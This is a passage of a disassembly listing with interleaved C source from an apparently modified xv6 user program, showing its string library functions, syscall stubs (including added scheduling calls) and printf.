printf(2, "Usage: info\n");
34: 50 push %eax
35: 50 push %eax
36: 68 10 07 00 00 push $0x710
3b: 6a 02 push $0x2
3d: e8 ae 03 00 00 call 3f0 <printf>
exit();
42: e8 4b 02 00 00 call 292 <exit>
47: 66 90 xchg %ax,%ax
49: 66 90 xchg %ax,%ax
4b: 66 90 xchg %ax,%ax
4d: 66 90 xchg %ax,%ax
4f: 90 nop
00000050 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, const char *t)
{
50: 55 push %ebp
51: 89 e5 mov %esp,%ebp
53: 53 push %ebx
54: 8b 45 08 mov 0x8(%ebp),%eax
57: 8b 4d 0c mov 0xc(%ebp),%ecx
char *os;
os = s;
while((*s++ = *t++) != 0)
5a: 89 c2 mov %eax,%edx
5c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
60: 83 c1 01 add $0x1,%ecx
63: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
67: 83 c2 01 add $0x1,%edx
6a: 84 db test %bl,%bl
6c: 88 5a ff mov %bl,-0x1(%edx)
6f: 75 ef jne 60 <strcpy+0x10>
;
return os;
}
71: 5b pop %ebx
72: 5d pop %ebp
73: c3 ret
74: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
7a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000080 <strcmp>:
int
strcmp(const char *p, const char *q)
{
80: 55 push %ebp
81: 89 e5 mov %esp,%ebp
83: 56 push %esi
84: 53 push %ebx
85: 8b 55 08 mov 0x8(%ebp),%edx
88: 8b 4d 0c mov 0xc(%ebp),%ecx
while(*p && *p == *q)
8b: 0f b6 02 movzbl (%edx),%eax
8e: 0f b6 19 movzbl (%ecx),%ebx
91: 84 c0 test %al,%al
93: 75 1e jne b3 <strcmp+0x33>
95: eb 29 jmp c0 <strcmp+0x40>
97: 89 f6 mov %esi,%esi
99: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
p++, q++;
a0: 83 c2 01 add $0x1,%edx
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
a3: 0f b6 02 movzbl (%edx),%eax
p++, q++;
a6: 8d 71 01 lea 0x1(%ecx),%esi
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
a9: 0f b6 59 01 movzbl 0x1(%ecx),%ebx
ad: 84 c0 test %al,%al
af: 74 0f je c0 <strcmp+0x40>
b1: 89 f1 mov %esi,%ecx
b3: 38 d8 cmp %bl,%al
b5: 74 e9 je a0 <strcmp+0x20>
p++, q++;
return (uchar)*p - (uchar)*q;
b7: 29 d8 sub %ebx,%eax
}
b9: 5b pop %ebx
ba: 5e pop %esi
bb: 5d pop %ebp
bc: c3 ret
bd: 8d 76 00 lea 0x0(%esi),%esi
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
c0: 31 c0 xor %eax,%eax
p++, q++;
return (uchar)*p - (uchar)*q;
c2: 29 d8 sub %ebx,%eax
}
c4: 5b pop %ebx
c5: 5e pop %esi
c6: 5d pop %ebp
c7: c3 ret
c8: 90 nop
c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
000000d0 <strlen>:
uint
strlen(const char *s)
{
d0: 55 push %ebp
d1: 89 e5 mov %esp,%ebp
d3: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
d6: 80 39 00 cmpb $0x0,(%ecx)
d9: 74 12 je ed <strlen+0x1d>
db: 31 d2 xor %edx,%edx
dd: 8d 76 00 lea 0x0(%esi),%esi
e0: 83 c2 01 add $0x1,%edx
e3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
e7: 89 d0 mov %edx,%eax
e9: 75 f5 jne e0 <strlen+0x10>
;
return n;
}
eb: 5d pop %ebp
ec: c3 ret
uint
strlen(const char *s)
{
int n;
for(n = 0; s[n]; n++)
ed: 31 c0 xor %eax,%eax
;
return n;
}
ef: 5d pop %ebp
f0: c3 ret
f1: eb 0d jmp 100 <memset>
f3: 90 nop
f4: 90 nop
f5: 90 nop
f6: 90 nop
f7: 90 nop
f8: 90 nop
f9: 90 nop
fa: 90 nop
fb: 90 nop
fc: 90 nop
fd: 90 nop
fe: 90 nop
ff: 90 nop
00000100 <memset>:
void*
memset(void *dst, int c, uint n)
{
100: 55 push %ebp
101: 89 e5 mov %esp,%ebp
103: 57 push %edi
104: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
107: 8b 4d 10 mov 0x10(%ebp),%ecx
10a: 8b 45 0c mov 0xc(%ebp),%eax
10d: 89 d7 mov %edx,%edi
10f: fc cld
110: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
112: 89 d0 mov %edx,%eax
114: 5f pop %edi
115: 5d pop %ebp
116: c3 ret
117: 89 f6 mov %esi,%esi
119: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000120 <strchr>:
char*
strchr(const char *s, char c)
{
120: 55 push %ebp
121: 89 e5 mov %esp,%ebp
123: 53 push %ebx
124: 8b 45 08 mov 0x8(%ebp),%eax
127: 8b 5d 0c mov 0xc(%ebp),%ebx
for(; *s; s++)
12a: 0f b6 10 movzbl (%eax),%edx
12d: 84 d2 test %dl,%dl
12f: 74 1d je 14e <strchr+0x2e>
if(*s == c)
131: 38 d3 cmp %dl,%bl
133: 89 d9 mov %ebx,%ecx
135: 75 0d jne 144 <strchr+0x24>
137: eb 17 jmp 150 <strchr+0x30>
139: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
140: 38 ca cmp %cl,%dl
142: 74 0c je 150 <strchr+0x30>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
144: 83 c0 01 add $0x1,%eax
147: 0f b6 10 movzbl (%eax),%edx
14a: 84 d2 test %dl,%dl
14c: 75 f2 jne 140 <strchr+0x20>
if(*s == c)
return (char*)s;
return 0;
14e: 31 c0 xor %eax,%eax
}
150: 5b pop %ebx
151: 5d pop %ebp
152: c3 ret
153: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
159: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000160 <gets>:
char*
gets(char *buf, int max)
{
160: 55 push %ebp
161: 89 e5 mov %esp,%ebp
163: 57 push %edi
164: 56 push %esi
165: 53 push %ebx
int i, cc;
char c;
for(i=0; i+1 < max; ){
166: 31 f6 xor %esi,%esi
cc = read(0, &c, 1);
168: 8d 7d e7 lea -0x19(%ebp),%edi
return 0;
}
char*
gets(char *buf, int max)
{
16b: 83 ec 1c sub $0x1c,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
16e: eb 29 jmp 199 <gets+0x39>
cc = read(0, &c, 1);
170: 83 ec 04 sub $0x4,%esp
173: 6a 01 push $0x1
175: 57 push %edi
176: 6a 00 push $0x0
178: e8 2d 01 00 00 call 2aa <read>
if(cc < 1)
17d: 83 c4 10 add $0x10,%esp
180: 85 c0 test %eax,%eax
182: 7e 1d jle 1a1 <gets+0x41>
break;
buf[i++] = c;
184: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
188: 8b 55 08 mov 0x8(%ebp),%edx
18b: 89 de mov %ebx,%esi
if(c == '\n' || c == '\r')
18d: 3c 0a cmp $0xa,%al
for(i=0; i+1 < max; ){
cc = read(0, &c, 1);
if(cc < 1)
break;
buf[i++] = c;
18f: 88 44 1a ff mov %al,-0x1(%edx,%ebx,1)
if(c == '\n' || c == '\r')
193: 74 1b je 1b0 <gets+0x50>
195: 3c 0d cmp $0xd,%al
197: 74 17 je 1b0 <gets+0x50>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
199: 8d 5e 01 lea 0x1(%esi),%ebx
19c: 3b 5d 0c cmp 0xc(%ebp),%ebx
19f: 7c cf jl 170 <gets+0x10>
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
1a1: 8b 45 08 mov 0x8(%ebp),%eax
1a4: c6 04 30 00 movb $0x0,(%eax,%esi,1)
return buf;
}
1a8: 8d 65 f4 lea -0xc(%ebp),%esp
1ab: 5b pop %ebx
1ac: 5e pop %esi
1ad: 5f pop %edi
1ae: 5d pop %ebp
1af: c3 ret
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
1b0: 8b 45 08 mov 0x8(%ebp),%eax
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
1b3: 89 de mov %ebx,%esi
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
1b5: c6 04 30 00 movb $0x0,(%eax,%esi,1)
return buf;
}
1b9: 8d 65 f4 lea -0xc(%ebp),%esp
1bc: 5b pop %ebx
1bd: 5e pop %esi
1be: 5f pop %edi
1bf: 5d pop %ebp
1c0: c3 ret
1c1: eb 0d jmp 1d0 <stat>
1c3: 90 nop
1c4: 90 nop
1c5: 90 nop
1c6: 90 nop
1c7: 90 nop
1c8: 90 nop
1c9: 90 nop
1ca: 90 nop
1cb: 90 nop
1cc: 90 nop
1cd: 90 nop
1ce: 90 nop
1cf: 90 nop
000001d0 <stat>:
int
stat(const char *n, struct stat *st)
{
1d0: 55 push %ebp
1d1: 89 e5 mov %esp,%ebp
1d3: 56 push %esi
1d4: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
1d5: 83 ec 08 sub $0x8,%esp
1d8: 6a 00 push $0x0
1da: ff 75 08 pushl 0x8(%ebp)
1dd: e8 f0 00 00 00 call 2d2 <open>
if(fd < 0)
1e2: 83 c4 10 add $0x10,%esp
1e5: 85 c0 test %eax,%eax
1e7: 78 27 js 210 <stat+0x40>
return -1;
r = fstat(fd, st);
1e9: 83 ec 08 sub $0x8,%esp
1ec: ff 75 0c pushl 0xc(%ebp)
1ef: 89 c3 mov %eax,%ebx
1f1: 50 push %eax
1f2: e8 f3 00 00 00 call 2ea <fstat>
1f7: 89 c6 mov %eax,%esi
close(fd);
1f9: 89 1c 24 mov %ebx,(%esp)
1fc: e8 b9 00 00 00 call 2ba <close>
return r;
201: 83 c4 10 add $0x10,%esp
204: 89 f0 mov %esi,%eax
}
206: 8d 65 f8 lea -0x8(%ebp),%esp
209: 5b pop %ebx
20a: 5e pop %esi
20b: 5d pop %ebp
20c: c3 ret
20d: 8d 76 00 lea 0x0(%esi),%esi
int fd;
int r;
fd = open(n, O_RDONLY);
if(fd < 0)
return -1;
210: b8 ff ff ff ff mov $0xffffffff,%eax
215: eb ef jmp 206 <stat+0x36>
217: 89 f6 mov %esi,%esi
219: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000220 <atoi>:
return r;
}
int
atoi(const char *s)
{
220: 55 push %ebp
221: 89 e5 mov %esp,%ebp
223: 53 push %ebx
224: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
while('0' <= *s && *s <= '9')
227: 0f be 11 movsbl (%ecx),%edx
22a: 8d 42 d0 lea -0x30(%edx),%eax
22d: 3c 09 cmp $0x9,%al
22f: b8 00 00 00 00 mov $0x0,%eax
234: 77 1f ja 255 <atoi+0x35>
236: 8d 76 00 lea 0x0(%esi),%esi
239: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
n = n*10 + *s++ - '0';
240: 8d 04 80 lea (%eax,%eax,4),%eax
243: 83 c1 01 add $0x1,%ecx
246: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
24a: 0f be 11 movsbl (%ecx),%edx
24d: 8d 5a d0 lea -0x30(%edx),%ebx
250: 80 fb 09 cmp $0x9,%bl
253: 76 eb jbe 240 <atoi+0x20>
n = n*10 + *s++ - '0';
return n;
}
255: 5b pop %ebx
256: 5d pop %ebp
257: c3 ret
258: 90 nop
259: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000260 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
260: 55 push %ebp
261: 89 e5 mov %esp,%ebp
263: 56 push %esi
264: 53 push %ebx
265: 8b 5d 10 mov 0x10(%ebp),%ebx
268: 8b 45 08 mov 0x8(%ebp),%eax
26b: 8b 75 0c mov 0xc(%ebp),%esi
char *dst;
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
26e: 85 db test %ebx,%ebx
270: 7e 14 jle 286 <memmove+0x26>
272: 31 d2 xor %edx,%edx
274: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
*dst++ = *src++;
278: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
27c: 88 0c 10 mov %cl,(%eax,%edx,1)
27f: 83 c2 01 add $0x1,%edx
char *dst;
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
282: 39 da cmp %ebx,%edx
284: 75 f2 jne 278 <memmove+0x18>
*dst++ = *src++;
return vdst;
}
286: 5b pop %ebx
287: 5e pop %esi
288: 5d pop %ebp
289: c3 ret
0000028a <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
28a: b8 01 00 00 00 mov $0x1,%eax
28f: cd 40 int $0x40
291: c3 ret
00000292 <exit>:
SYSCALL(exit)
292: b8 02 00 00 00 mov $0x2,%eax
297: cd 40 int $0x40
299: c3 ret
0000029a <wait>:
SYSCALL(wait)
29a: b8 03 00 00 00 mov $0x3,%eax
29f: cd 40 int $0x40
2a1: c3 ret
000002a2 <pipe>:
SYSCALL(pipe)
2a2: b8 04 00 00 00 mov $0x4,%eax
2a7: cd 40 int $0x40
2a9: c3 ret
000002aa <read>:
SYSCALL(read)
2aa: b8 05 00 00 00 mov $0x5,%eax
2af: cd 40 int $0x40
2b1: c3 ret
000002b2 <write>:
SYSCALL(write)
2b2: b8 10 00 00 00 mov $0x10,%eax
2b7: cd 40 int $0x40
2b9: c3 ret
000002ba <close>:
SYSCALL(close)
2ba: b8 15 00 00 00 mov $0x15,%eax
2bf: cd 40 int $0x40
2c1: c3 ret
000002c2 <kill>:
SYSCALL(kill)
2c2: b8 06 00 00 00 mov $0x6,%eax
2c7: cd 40 int $0x40
2c9: c3 ret
000002ca <exec>:
SYSCALL(exec)
2ca: b8 07 00 00 00 mov $0x7,%eax
2cf: cd 40 int $0x40
2d1: c3 ret
000002d2 <open>:
SYSCALL(open)
2d2: b8 0f 00 00 00 mov $0xf,%eax
2d7: cd 40 int $0x40
2d9: c3 ret
000002da <mknod>:
SYSCALL(mknod)
2da: b8 11 00 00 00 mov $0x11,%eax
2df: cd 40 int $0x40
2e1: c3 ret
000002e2 <unlink>:
SYSCALL(unlink)
2e2: b8 12 00 00 00 mov $0x12,%eax
2e7: cd 40 int $0x40
2e9: c3 ret
000002ea <fstat>:
SYSCALL(fstat)
2ea: b8 08 00 00 00 mov $0x8,%eax
2ef: cd 40 int $0x40
2f1: c3 ret
000002f2 <link>:
SYSCALL(link)
2f2: b8 13 00 00 00 mov $0x13,%eax
2f7: cd 40 int $0x40
2f9: c3 ret
000002fa <mkdir>:
SYSCALL(mkdir)
2fa: b8 14 00 00 00 mov $0x14,%eax
2ff: cd 40 int $0x40
301: c3 ret
00000302 <chdir>:
SYSCALL(chdir)
302: b8 09 00 00 00 mov $0x9,%eax
307: cd 40 int $0x40
309: c3 ret
0000030a <dup>:
SYSCALL(dup)
30a: b8 0a 00 00 00 mov $0xa,%eax
30f: cd 40 int $0x40
311: c3 ret
00000312 <getpid>:
SYSCALL(getpid)
312: b8 0b 00 00 00 mov $0xb,%eax
317: cd 40 int $0x40
319: c3 ret
0000031a <sbrk>:
SYSCALL(sbrk)
31a: b8 0c 00 00 00 mov $0xc,%eax
31f: cd 40 int $0x40
321: c3 ret
00000322 <sleep>:
SYSCALL(sleep)
322: b8 0d 00 00 00 mov $0xd,%eax
327: cd 40 int $0x40
329: c3 ret
0000032a <waitx>:
SYSCALL(waitx)
32a: b8 16 00 00 00 mov $0x16,%eax
32f: cd 40 int $0x40
331: c3 ret
00000332 <getpinfo>:
SYSCALL(getpinfo)
332: b8 17 00 00 00 mov $0x17,%eax
337: cd 40 int $0x40
339: c3 ret
0000033a <cps>:
SYSCALL(cps)
33a: b8 18 00 00 00 mov $0x18,%eax
33f: cd 40 int $0x40
341: c3 ret
00000342 <set_priority>:
342: b8 19 00 00 00 mov $0x19,%eax
347: cd 40 int $0x40
349: c3 ret
34a: 66 90 xchg %ax,%ax
34c: 66 90 xchg %ax,%ax
34e: 66 90 xchg %ax,%ax
00000350 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
350: 55 push %ebp
351: 89 e5 mov %esp,%ebp
353: 57 push %edi
354: 56 push %esi
355: 53 push %ebx
356: 89 c6 mov %eax,%esi
358: 83 ec 3c sub $0x3c,%esp
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
35b: 8b 5d 08 mov 0x8(%ebp),%ebx
35e: 85 db test %ebx,%ebx
360: 74 7e je 3e0 <printint+0x90>
362: 89 d0 mov %edx,%eax
364: c1 e8 1f shr $0x1f,%eax
367: 84 c0 test %al,%al
369: 74 75 je 3e0 <printint+0x90>
neg = 1;
x = -xx;
36b: 89 d0 mov %edx,%eax
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
neg = 1;
36d: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp)
x = -xx;
374: f7 d8 neg %eax
376: 89 75 c0 mov %esi,-0x40(%ebp)
} else {
x = xx;
}
i = 0;
379: 31 ff xor %edi,%edi
37b: 8d 5d d7 lea -0x29(%ebp),%ebx
37e: 89 ce mov %ecx,%esi
380: eb 08 jmp 38a <printint+0x3a>
382: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
do{
buf[i++] = digits[x % base];
388: 89 cf mov %ecx,%edi
38a: 31 d2 xor %edx,%edx
38c: 8d 4f 01 lea 0x1(%edi),%ecx
38f: f7 f6 div %esi
391: 0f b6 92 24 07 00 00 movzbl 0x724(%edx),%edx
}while((x /= base) != 0);
398: 85 c0 test %eax,%eax
x = xx;
}
i = 0;
do{
buf[i++] = digits[x % base];
39a: 88 14 0b mov %dl,(%ebx,%ecx,1)
}while((x /= base) != 0);
39d: 75 e9 jne 388 <printint+0x38>
if(neg)
39f: 8b 45 c4 mov -0x3c(%ebp),%eax
3a2: 8b 75 c0 mov -0x40(%ebp),%esi
3a5: 85 c0 test %eax,%eax
3a7: 74 08 je 3b1 <printint+0x61>
buf[i++] = '-';
3a9: c6 44 0d d8 2d movb $0x2d,-0x28(%ebp,%ecx,1)
3ae: 8d 4f 02 lea 0x2(%edi),%ecx
3b1: 8d 7c 0d d7 lea -0x29(%ebp,%ecx,1),%edi
3b5: 8d 76 00 lea 0x0(%esi),%esi
3b8: 0f b6 07 movzbl (%edi),%eax
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
3bb: 83 ec 04 sub $0x4,%esp
3be: 83 ef 01 sub $0x1,%edi
3c1: 6a 01 push $0x1
3c3: 53 push %ebx
3c4: 56 push %esi
3c5: 88 45 d7 mov %al,-0x29(%ebp)
3c8: e8 e5 fe ff ff call 2b2 <write>
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
3cd: 83 c4 10 add $0x10,%esp
3d0: 39 df cmp %ebx,%edi
3d2: 75 e4 jne 3b8 <printint+0x68>
putc(fd, buf[i]);
}
3d4: 8d 65 f4 lea -0xc(%ebp),%esp
3d7: 5b pop %ebx
3d8: 5e pop %esi
3d9: 5f pop %edi
3da: 5d pop %ebp
3db: c3 ret
3dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
neg = 0;
if(sgn && xx < 0){
neg = 1;
x = -xx;
} else {
x = xx;
3e0: 89 d0 mov %edx,%eax
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
3e2: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
3e9: eb 8b jmp 376 <printint+0x26>
3eb: 90 nop
3ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
000003f0 <printf>:
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
3f0: 55 push %ebp
3f1: 89 e5 mov %esp,%ebp
3f3: 57 push %edi
3f4: 56 push %esi
3f5: 53 push %ebx
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
3f6: 8d 45 10 lea 0x10(%ebp),%eax
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
3f9: 83 ec 2c sub $0x2c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
3fc: 8b 75 0c mov 0xc(%ebp),%esi
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
3ff: 8b 7d 08 mov 0x8(%ebp),%edi
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
402: 89 45 d0 mov %eax,-0x30(%ebp)
405: 0f b6 1e movzbl (%esi),%ebx
408: 83 c6 01 add $0x1,%esi
40b: 84 db test %bl,%bl
40d: 0f 84 b0 00 00 00 je 4c3 <printf+0xd3>
413: 31 d2 xor %edx,%edx
415: eb 39 jmp 450 <printf+0x60>
417: 89 f6 mov %esi,%esi
419: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
420: 83 f8 25 cmp $0x25,%eax
423: 89 55 d4 mov %edx,-0x2c(%ebp)
state = '%';
426: ba 25 00 00 00 mov $0x25,%edx
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
42b: 74 18 je 445 <printf+0x55>
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
42d: 8d 45 e2 lea -0x1e(%ebp),%eax
430: 83 ec 04 sub $0x4,%esp
433: 88 5d e2 mov %bl,-0x1e(%ebp)
436: 6a 01 push $0x1
438: 50 push %eax
439: 57 push %edi
43a: e8 73 fe ff ff call 2b2 <write>
43f: 8b 55 d4 mov -0x2c(%ebp),%edx
442: 83 c4 10 add $0x10,%esp
445: 83 c6 01 add $0x1,%esi
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
448: 0f b6 5e ff movzbl -0x1(%esi),%ebx
44c: 84 db test %bl,%bl
44e: 74 73 je 4c3 <printf+0xd3>
c = fmt[i] & 0xff;
if(state == 0){
450: 85 d2 test %edx,%edx
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
452: 0f be cb movsbl %bl,%ecx
455: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
458: 74 c6 je 420 <printf+0x30>
if(c == '%'){
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
45a: 83 fa 25 cmp $0x25,%edx
45d: 75 e6 jne 445 <printf+0x55>
if(c == 'd'){
45f: 83 f8 64 cmp $0x64,%eax
462: 0f 84 f8 00 00 00 je 560 <printf+0x170>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
468: 81 e1 f7 00 00 00 and $0xf7,%ecx
46e: 83 f9 70 cmp $0x70,%ecx
471: 74 5d je 4d0 <printf+0xe0>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
473: 83 f8 73 cmp $0x73,%eax
476: 0f 84 84 00 00 00 je 500 <printf+0x110>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
47c: 83 f8 63 cmp $0x63,%eax
47f: 0f 84 ea 00 00 00 je 56f <printf+0x17f>
putc(fd, *ap);
ap++;
} else if(c == '%'){
485: 83 f8 25 cmp $0x25,%eax
488: 0f 84 c2 00 00 00 je 550 <printf+0x160>
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
48e: 8d 45 e7 lea -0x19(%ebp),%eax
491: 83 ec 04 sub $0x4,%esp
494: c6 45 e7 25 movb $0x25,-0x19(%ebp)
498: 6a 01 push $0x1
49a: 50 push %eax
49b: 57 push %edi
49c: e8 11 fe ff ff call 2b2 <write>
4a1: 83 c4 0c add $0xc,%esp
4a4: 8d 45 e6 lea -0x1a(%ebp),%eax
4a7: 88 5d e6 mov %bl,-0x1a(%ebp)
4aa: 6a 01 push $0x1
4ac: 50 push %eax
4ad: 57 push %edi
4ae: 83 c6 01 add $0x1,%esi
4b1: e8 fc fd ff ff call 2b2 <write>
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
4b6: 0f b6 5e ff movzbl -0x1(%esi),%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
4ba: 83 c4 10 add $0x10,%esp
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
4bd: 31 d2 xor %edx,%edx
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
4bf: 84 db test %bl,%bl
4c1: 75 8d jne 450 <printf+0x60>
putc(fd, c);
}
state = 0;
}
}
}
4c3: 8d 65 f4 lea -0xc(%ebp),%esp
4c6: 5b pop %ebx
4c7: 5e pop %esi
4c8: 5f pop %edi
4c9: 5d pop %ebp
4ca: c3 ret
4cb: 90 nop
4cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
4d0: 83 ec 0c sub $0xc,%esp
4d3: b9 10 00 00 00 mov $0x10,%ecx
4d8: 6a 00 push $0x0
4da: 8b 5d d0 mov -0x30(%ebp),%ebx
4dd: 89 f8 mov %edi,%eax
4df: 8b 13 mov (%ebx),%edx
4e1: e8 6a fe ff ff call 350 <printint>
ap++;
4e6: 89 d8 mov %ebx,%eax
4e8: 83 c4 10 add $0x10,%esp
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
4eb: 31 d2 xor %edx,%edx
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
ap++;
4ed: 83 c0 04 add $0x4,%eax
4f0: 89 45 d0 mov %eax,-0x30(%ebp)
4f3: e9 4d ff ff ff jmp 445 <printf+0x55>
4f8: 90 nop
4f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
} else if(c == 's'){
s = (char*)*ap;
500: 8b 45 d0 mov -0x30(%ebp),%eax
503: 8b 18 mov (%eax),%ebx
ap++;
505: 83 c0 04 add $0x4,%eax
508: 89 45 d0 mov %eax,-0x30(%ebp)
if(s == 0)
s = "(null)";
50b: b8 1d 07 00 00 mov $0x71d,%eax
510: 85 db test %ebx,%ebx
512: 0f 44 d8 cmove %eax,%ebx
while(*s != 0){
515: 0f b6 03 movzbl (%ebx),%eax
518: 84 c0 test %al,%al
51a: 74 23 je 53f <printf+0x14f>
51c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
520: 88 45 e3 mov %al,-0x1d(%ebp)
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
523: 8d 45 e3 lea -0x1d(%ebp),%eax
526: 83 ec 04 sub $0x4,%esp
529: 6a 01 push $0x1
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
52b: 83 c3 01 add $0x1,%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
52e: 50 push %eax
52f: 57 push %edi
530: e8 7d fd ff ff call 2b2 <write>
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
535: 0f b6 03 movzbl (%ebx),%eax
538: 83 c4 10 add $0x10,%esp
53b: 84 c0 test %al,%al
53d: 75 e1 jne 520 <printf+0x130>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
53f: 31 d2 xor %edx,%edx
541: e9 ff fe ff ff jmp 445 <printf+0x55>
546: 8d 76 00 lea 0x0(%esi),%esi
549: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
550: 83 ec 04 sub $0x4,%esp
553: 88 5d e5 mov %bl,-0x1b(%ebp)
556: 8d 45 e5 lea -0x1b(%ebp),%eax
559: 6a 01 push $0x1
55b: e9 4c ff ff ff jmp 4ac <printf+0xbc>
} else {
putc(fd, c);
}
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
560: 83 ec 0c sub $0xc,%esp
563: b9 0a 00 00 00 mov $0xa,%ecx
568: 6a 01 push $0x1
56a: e9 6b ff ff ff jmp 4da <printf+0xea>
56f: 8b 5d d0 mov -0x30(%ebp),%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
572: 83 ec 04 sub $0x4,%esp
575: 8b 03 mov (%ebx),%eax
577: 6a 01 push $0x1
579: 88 45 e4 mov %al,-0x1c(%ebp)
57c: 8d 45 e4 lea -0x1c(%ebp),%eax
